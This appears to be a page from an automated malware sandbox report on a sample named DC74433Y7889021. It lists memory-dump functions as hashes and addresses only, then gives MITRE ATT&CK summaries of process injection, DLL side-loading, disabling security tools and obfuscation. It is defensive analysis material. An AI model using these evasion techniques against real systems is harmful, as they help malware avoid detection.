Opcode ID: b21087737f52c238bc3698dc9e45ea0b12571c4809d69c1e60add1f67aad410f
Instruction ID: 0d82e85f543d645815ffdc5237510ddf1972d3a4713c566e4f0a0246082382aa
Opcode Fuzzy Hash: b21087737f52c238bc3698dc9e45ea0b12571c4809d69c1e60add1f67aad410f
Instruction Fuzzy Hash: 92F0C2346092C08FC707AB3488616943FB1DF4B259B0940EFC142DF3A6CE695806C761

Function 021CD006 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4129804877.00000000021CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 021CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_21cd000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f132c62fb699cbb1c5a3305c72a3b6ea2e8126daa4b1a5d8f12ea89ad350aee
Instruction ID: 1167787c80ce3b9ed479c0eb5cc31ef3b0441e482099ade7956e1820d4dd0e14
Opcode Fuzzy Hash: 9f132c62fb699cbb1c5a3305c72a3b6ea2e8126daa4b1a5d8f12ea89ad350aee
Instruction Fuzzy Hash: B4014F75108780AFD3268F15CC94C62BFB9EF9666071A84CAE8858B263C234EC06CB71

Function 021CD01F Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4129804877.00000000021CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 021CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_21cd000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12bee12e2ee43eeacb6da07bb987e3daad31244873bf62a93c5064e6be66222a
Instruction ID: c46e2bd2dc53322675364fbfc0f1c5f6a1fa29dc164743588eee355c5ba22126
Opcode Fuzzy Hash: 12bee12e2ee43eeacb6da07bb987e3daad31244873bf62a93c5064e6be66222a
Instruction Fuzzy Hash: 59F0F9B6640604AF97248F0ADC84C63FBADEBD4670715C5AAEC4A4B612C771EC42CEA0

Function 023B9BD2 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84ed62c5921452afe0af472af5a0ef3e53123f9fa204b856a58be1fbd0c8d3c0
Instruction ID: 68d32fe5ef427e908a05d4785ffdf5d7d8f00b765935de6a06c62e00235530db
Opcode Fuzzy Hash: 84ed62c5921452afe0af472af5a0ef3e53123f9fa204b856a58be1fbd0c8d3c0
Instruction Fuzzy Hash: A9F01C36F44008DADB119B85A4447EDB765EB98322F10C027E71593601C73646669B51

Function 023B9C2C Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 561ec10e7a833a81cd970bbcfb472da41731a07a1c32eca4396f929875f39b4e
Instruction ID: 9cb55e35883ec3f1249fd83e936813263afd0befb7c285d5d3a58bafd57092ac
Opcode Fuzzy Hash: 561ec10e7a833a81cd970bbcfb472da41731a07a1c32eca4396f929875f39b4e
Instruction Fuzzy Hash: 7DF08C72A001189FCB118F69D848BEEBBB6EFC8321F00C026EA08C3211D7314A15CB90

Function 090D1368 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4140129189.00000000090D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_90d0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 522e36b2dd37bf186705f07bb0d0332aea0a425ec30068af2c900f629623f853
Instruction ID: 763f38d78ab40caeaf9b2a44b54fe570d0b0b63f4c47f30a1feadfe0ac8351d6
Opcode Fuzzy Hash: 522e36b2dd37bf186705f07bb0d0332aea0a425ec30068af2c900f629623f853
Instruction Fuzzy Hash: B2E0D83060A7558BD72FAF31D0107667BF5AF4325571408AFE4879B9A1CF27E811C751

Function 090D0F20 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4140129189.00000000090D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_90d0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d55fce0e9262b8854e4c68f4b8b02ec4db36684c08be785eb81e03042fbf95
Instruction ID: 77212ab5d95c317aca05f4f1277fa874c7fc48f73f2511b54d7098dc1000ded9
Opcode Fuzzy Hash: d5d55fce0e9262b8854e4c68f4b8b02ec4db36684c08be785eb81e03042fbf95
Instruction Fuzzy Hash: FBE08C357002248BDB09B779A8046AE36EB9F8925AB044039E10ADB348DEB6984187D4

Function 023B28A2 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab4101c44c7d6cf58bdc4c7eab218a3df60f1cd3c3c0ab2f8821853f804e0441
Instruction ID: c06e7928066e8d44f3ef1a210f0a6809c579890a0420bc7c27154e58a02f4c39
Opcode Fuzzy Hash: ab4101c44c7d6cf58bdc4c7eab218a3df60f1cd3c3c0ab2f8821853f804e0441
Instruction Fuzzy Hash: 6DE02035D50327CBCB02D7A09C440EEB734ADD1212718455BC02177091E730121AC751

Function 023B6739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b38a1fdfafcdfb04cb6635abb0f80baf0630fa46ecee9a2c918625d14c3430f
Instruction ID: 1c521495c63ee518274838b04e4a2ebd131c97d84821ab508c65963e1ad79b8d
Opcode Fuzzy Hash: 5b38a1fdfafcdfb04cb6635abb0f80baf0630fa46ecee9a2c918625d14c3430f
Instruction Fuzzy Hash: 6FE0127458C3665FC747A721BC800893BA7EAA120631A9A7190054F9EEDA7888478760

Function 090D1378 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4140129189.00000000090D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_90d0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2de3d98aeea359f6c68208f95211418aed7dc65d50bb96efaefe7baa567045b5
Instruction ID: fd4a6f274a2642df0f7cf8cd66d8cbdfdf07f3cf7fc3794b5f9e8185826b807f
Opcode Fuzzy Hash: 2de3d98aeea359f6c68208f95211418aed7dc65d50bb96efaefe7baa567045b5
Instruction Fuzzy Hash: 99D05E30747B10879B6D7A3690106AA73E9AF816527405C7EE98A87AA0CF22E842C791

Function 023B28B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43bf86cee8151225bd5f456b00a907134c7af716cfdcd32ccd0182c08fd46464
Instruction ID: 65796c6b09c89dcb44715985316754312f8fafbe344ea9273c532254887c604a
Opcode Fuzzy Hash: 43bf86cee8151225bd5f456b00a907134c7af716cfdcd32ccd0182c08fd46464
Instruction Fuzzy Hash: 17D05B31D2022B57CB10E7A5DC044EFF738FED6262B544626D51437154FB702659C6E1

Function 023B8EF6 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 789cc6812ad60f4e9fb18ea29c06c28539afb7ae51ffb0d7f3e6e7b4693f6225
Instruction ID: 233fe874e7cf05a8d795f8c8d2d0c70daac608037585461488b4cc24fe016f81
Opcode Fuzzy Hash: 789cc6812ad60f4e9fb18ea29c06c28539afb7ae51ffb0d7f3e6e7b4693f6225
Instruction Fuzzy Hash: 3AC0123364D1642DE736105D7C85AF75B5DC7C13B4A25017BFA9CD360198464C828164

Function 023BAFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45ba715507553cbf27848d03a1ac69b22609f1931ff6206d9f05556413995f07
Instruction ID: 497984abff0468164dfdd724dcdf8ef08b6d1c29a5af0fe7f8b0498440666ae4
Opcode Fuzzy Hash: 45ba715507553cbf27848d03a1ac69b22609f1931ff6206d9f05556413995f07
Instruction Fuzzy Hash: 66D0673AB400189FCB049F98E8408DDF776FB98221B448516E915A3261C6319925DB50

Function 090D0858 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4140129189.00000000090D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_90d0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7ea6b422d80f6f8acf6081b2a9dc590ad4dd859798005de52e103befac89e37
Instruction ID: 3f80b82d2b44daeb40ecead3300bf52b232ee03069f37e9af8f3f1a2aad783f9
Opcode Fuzzy Hash: a7ea6b422d80f6f8acf6081b2a9dc590ad4dd859798005de52e103befac89e37
Instruction Fuzzy Hash: 26D0C93A0041449FC702DFA4DA61D913F72AF1724130985DBD7CACE972CA269529EB91

Function 023B6748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fede046de1e4a86134f2f9aea604482f90e1fcb9192b2917dc3bfe27fe2a873
Instruction ID: e1d7f9f440505a1653b1838bd2f188a8b64fe9dd8071910c0d33359948f63716
Opcode Fuzzy Hash: 1fede046de1e4a86134f2f9aea604482f90e1fcb9192b2917dc3bfe27fe2a873
Instruction Fuzzy Hash: E9C012704443294FC545F765FC85555779FEB903067508920A0090B69DDE7858854B94

Function 090D0868 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4140129189.00000000090D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 090D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_90d0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d9969b4cd1dc7dd4e0d37999c5375a6652e7c5a267702b61e68bfb73943e15a
Instruction ID: 1b42f22ef48202a1c19a3bb57ccb0cef9a30970dcebe897932cd51dbf7fff409
Opcode Fuzzy Hash: 6d9969b4cd1dc7dd4e0d37999c5375a6652e7c5a267702b61e68bfb73943e15a
Instruction Fuzzy Hash: 9EB0923700010CAE8B01BF94E804C87BBEDAB55240700C0A2AB48CA231DA22E668EB91

Non-executed Functions

Function 060E0040 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5|q, xrefs: 060E015B

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: .5|q
API String ID: 0-3884013370
Opcode ID: 49dd4f0176613a2a14e9072501810ee5c59ada9fcff5c1edf5d7c762581baa72
Instruction ID: 3d52de2cadd8d0210f76b019b6ae6c1815a8fd559b2bcd92dfbf9a21cefc1187
Opcode Fuzzy Hash: 49dd4f0176613a2a14e9072501810ee5c59ada9fcff5c1edf5d7c762581baa72
Instruction Fuzzy Hash: A0529C74E01228CFDB64DF69C984BDDBBB2BB89301F1085EAD409AB254DB759E81CF50

Function 023BF961 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ce1fa5c903ffa70ed095f51e5a1bbefbcd5a212be61d387cbabcfd19fdba7ae
Instruction ID: 0636e95aa43d6a79ab47421a26aa27470f5dbf2bd43bfd602007f47ab790b955
Opcode Fuzzy Hash: 7ce1fa5c903ffa70ed095f51e5a1bbefbcd5a212be61d387cbabcfd19fdba7ae
Instruction Fuzzy Hash: A8C1CE74E00218CFDB54DFA5D984BEDBBB2EF89300F2080AAD409AB764DB355A81CF10

Function 060EDE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd1cc2fea395b109b3f3b654fe16ee7b37f71b0fd0dad63f3735cb1142c3a157
Instruction ID: ca1e950a84e67c6d2d9daff670de476f67c02c2c8b4964e8e852b4a09f243b5d
Opcode Fuzzy Hash: fd1cc2fea395b109b3f3b654fe16ee7b37f71b0fd0dad63f3735cb1142c3a157
Instruction Fuzzy Hash: E7C19E74E01228CFDB54DFA5D994B9DBBF2AF89300F2080AAD419AB355DB359E81CF50

Function 060EE258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddfed341da7759e3b2bf2a963bc994eb15226bc614bc77252cf33694d119469f
Instruction ID: eea5df97d5af953a899028e5eeb4474c582565554ddb3685f787573570b3c72f
Opcode Fuzzy Hash: ddfed341da7759e3b2bf2a963bc994eb15226bc614bc77252cf33694d119469f
Instruction Fuzzy Hash: 54C19E74E01228CFDB54DFA5D984B9DBBF2AF89300F2080AAD419AB364DB355A85CF50

Function 060EE6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fa243f76321a2abedd334792f024d117d40915f5a90968ee5144c5a7fb12d64
Instruction ID: 40345346f128efc7a5928013b61893233125789607d7f9dd132610468cb18aba
Opcode Fuzzy Hash: 8fa243f76321a2abedd334792f024d117d40915f5a90968ee5144c5a7fb12d64
Instruction Fuzzy Hash: BAC19D74E01228CFDB54DFA5D984B9DBBF2BF89300F2081AAD409AB355DB359A85CF50

Function 060EEB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 561cd1efd2e90a6ecae0f015f1a3ec4f5100e96de59ba3647ffa9d90b7f7d88a
Instruction ID: a584614ac19402435746cb3c1cd937728fa56f83071913a976657e0dcce0f7a6
Opcode Fuzzy Hash: 561cd1efd2e90a6ecae0f015f1a3ec4f5100e96de59ba3647ffa9d90b7f7d88a
Instruction Fuzzy Hash: F1C1AE74E01228CFDB54DFA5D984B9DBBF2AF89300F2080A9D419AB365DB359E85CF50

Function 060EEF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55d61aa37111f67fb891ea5d19dca9291c4698b16cbba7123ca84e69b84ed1f6
Instruction ID: ce1e960f8c204bf54965d976496cdd64fc445aad4687af134835079afadd3fb6
Opcode Fuzzy Hash: 55d61aa37111f67fb891ea5d19dca9291c4698b16cbba7123ca84e69b84ed1f6
Instruction Fuzzy Hash: 9FC1AF74E01228CFDB54DFA5D984B9DBBF2AF89300F2080AAD419AB354DB359E85CF50

Function 060EF3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 144ec1d1d04ccafd18bacd23cbb909d6b133dab1e980dbfd3a90c6f8f776a3a1
Instruction ID: e682809797ab6c6d902e49f9480600caf89d85bdb84a8dbc39005b036b564800
Opcode Fuzzy Hash: 144ec1d1d04ccafd18bacd23cbb909d6b133dab1e980dbfd3a90c6f8f776a3a1
Instruction Fuzzy Hash: A2C19E74E01228CFDB54DFA5D994B9DBBF2AF89300F2081AAD409AB365DB355E81CF50

Function 060EF810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40db428fb8f55091274605616cddd16174f6f3b4703e0e9ef097a8bb24b34976
Instruction ID: d8e0a126aa5c6a169f1e4924748bb9c310456f7be754ce3699446913309e8d80
Opcode Fuzzy Hash: 40db428fb8f55091274605616cddd16174f6f3b4703e0e9ef097a8bb24b34976
Instruction Fuzzy Hash: 27C1AE74E01228CFDB54DFA5D994B9DBBF2AF89300F2081A9D819AB354DB355E81CF50

Function 060ECCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29eb670308eeef9d187e60c65e0950ae5c56b32b82fa4da3f6ea4536c734a42b
Instruction ID: 2997a505c8649cf76d32b23675f8b24f008a43b064f06506e78822d11e27ea2d
Opcode Fuzzy Hash: 29eb670308eeef9d187e60c65e0950ae5c56b32b82fa4da3f6ea4536c734a42b
Instruction Fuzzy Hash: 8BC19E74E01228CFDB54DFA5D994BADBBF2EF89300F2080AAD419AB354DB355A81CF50

Function 060ED0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4722c1152da325724ce0672723dd411fc8b48cfcc71ba7a6b61b71d1517a092
Instruction ID: 248658317cfb04cddab1c185af7d9612fe0cc921669381b3ab9ad4c4152f45d5
Opcode Fuzzy Hash: c4722c1152da325724ce0672723dd411fc8b48cfcc71ba7a6b61b71d1517a092
Instruction Fuzzy Hash: 93C1AE74E01228CFDB54DFA5D984B9DBBF2EF89300F2080AAD419AB364DB355A81CF50

Function 060ED550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fe4694193774fbbcb56b2387f9e42b957962d4b3251058df7f9284e86f7f372
Instruction ID: bf166594d64357a92b73475cf672206de1de74ca320ef763159cce15327092e2
Opcode Fuzzy Hash: 6fe4694193774fbbcb56b2387f9e42b957962d4b3251058df7f9284e86f7f372
Instruction Fuzzy Hash: 4FC19E74E01228CFDB54DFA5D994B9DBBF2EF89300F2080AAD419AB355DB355A81CF50

Function 060ED9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a408ce20b21fdf9aa668a55f9cccfbeb8870f0285dc68012a7a88883a209853f
Instruction ID: 39499cb93c2015da3c8c56b022aefb638484647d806dbc5f54a4fef787cfefd6
Opcode Fuzzy Hash: a408ce20b21fdf9aa668a55f9cccfbeb8870f0285dc68012a7a88883a209853f
Instruction Fuzzy Hash: 5DC19E74E01228CFDB54DFA5D994B9DBBF2EF89300F2081A9D409AB395DB355A81CF50

Function 060E0673 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61ec4bc82428ec1024b5c62b204527f9c4aedb48bcf22f93e4c554e31f426c3f
Instruction ID: 0f5134735f46acfeb414b07d2265cbc82e918fba599ed8bd380cd2ab0f88ca25
Opcode Fuzzy Hash: 61ec4bc82428ec1024b5c62b204527f9c4aedb48bcf22f93e4c554e31f426c3f
Instruction Fuzzy Hash: E6A19B74E01228CFDB64DF24C994BDABBB2BB89301F1084EAD54EA7254DB719E80CF51

Function 023BF2C0 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2592c2aa3f3806ab10ee8d4c9afecbf223de2407950377c1f168392df948296c
Instruction ID: 4b96c726d1f195819e947e8ecadd7138fd436b40a889c937c5672de667ad9031
Opcode Fuzzy Hash: 2592c2aa3f3806ab10ee8d4c9afecbf223de2407950377c1f168392df948296c
Instruction Fuzzy Hash: 1D511770E01208CBDB15DFA8D9847EDB7B2BF89300F14E529E504BBA98C7759885CF50

Function 023BF4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c889625c56bac08be05e4d7fe91d6c59bfe6857278f120e0e11c7f3d06538a1
Instruction ID: a4148ef5b03526d89fe6890998b4d1d6bb0c808d52bdaea90f3ca2589df2b95c
Opcode Fuzzy Hash: 5c889625c56bac08be05e4d7fe91d6c59bfe6857278f120e0e11c7f3d06538a1
Instruction Fuzzy Hash: 6D510470E01208CBDB16EFA8D8847EDBBB6FF49304F20A519E505BBA85C7359881CF50

Function 060E0853 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4137359761.00000000060E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_60e0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62a75ed3b3bbbb296ba2477258ceabe3dbaac729623cd8325a1d240e1236a4e9
Instruction ID: e38439a278b506868436f2a01bd96b89733849240b8c1b1e269089b72a2eb64a
Opcode Fuzzy Hash: 62a75ed3b3bbbb296ba2477258ceabe3dbaac729623cd8325a1d240e1236a4e9
Instruction Fuzzy Hash: 1E51A074A41228CFCB69DF24C954BDAB7B2BF4A301F5095E9D40AA7354CB719E81CF50

Function 023B6920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;dq, xrefs: 023B6952
\;dq, xrefs: 023B692C
\;dq, xrefs: 023B6936
\;dq, xrefs: 023B695E

Memory Dump Source

Source File: 00000001.00000002.4130165535.00000000023B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_23b0000_DC74433Y7889021.jbxd

Similarity

API ID:
String ID: \;dq$\;dq$\;dq$\;dq
API String ID: 0-1855092343
Opcode ID: 02ed163c1466080cf30bf4d90d13ea1e5c61bdacecb4a1eccf0e7c71f1ba4f40
Instruction ID: 1fdd036dfb9e13ac4f834beaa471c546533f3265208b9b69a20bd7d07710dea1
Opcode Fuzzy Hash: 02ed163c1466080cf30bf4d90d13ea1e5c61bdacecb4a1eccf0e7c71f1ba4f40
Instruction Fuzzy Hash: D80171317101258FCB2A8E2DC441A6677FEBFCC7657154169EA05CB7A2DB31DC41CB50

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

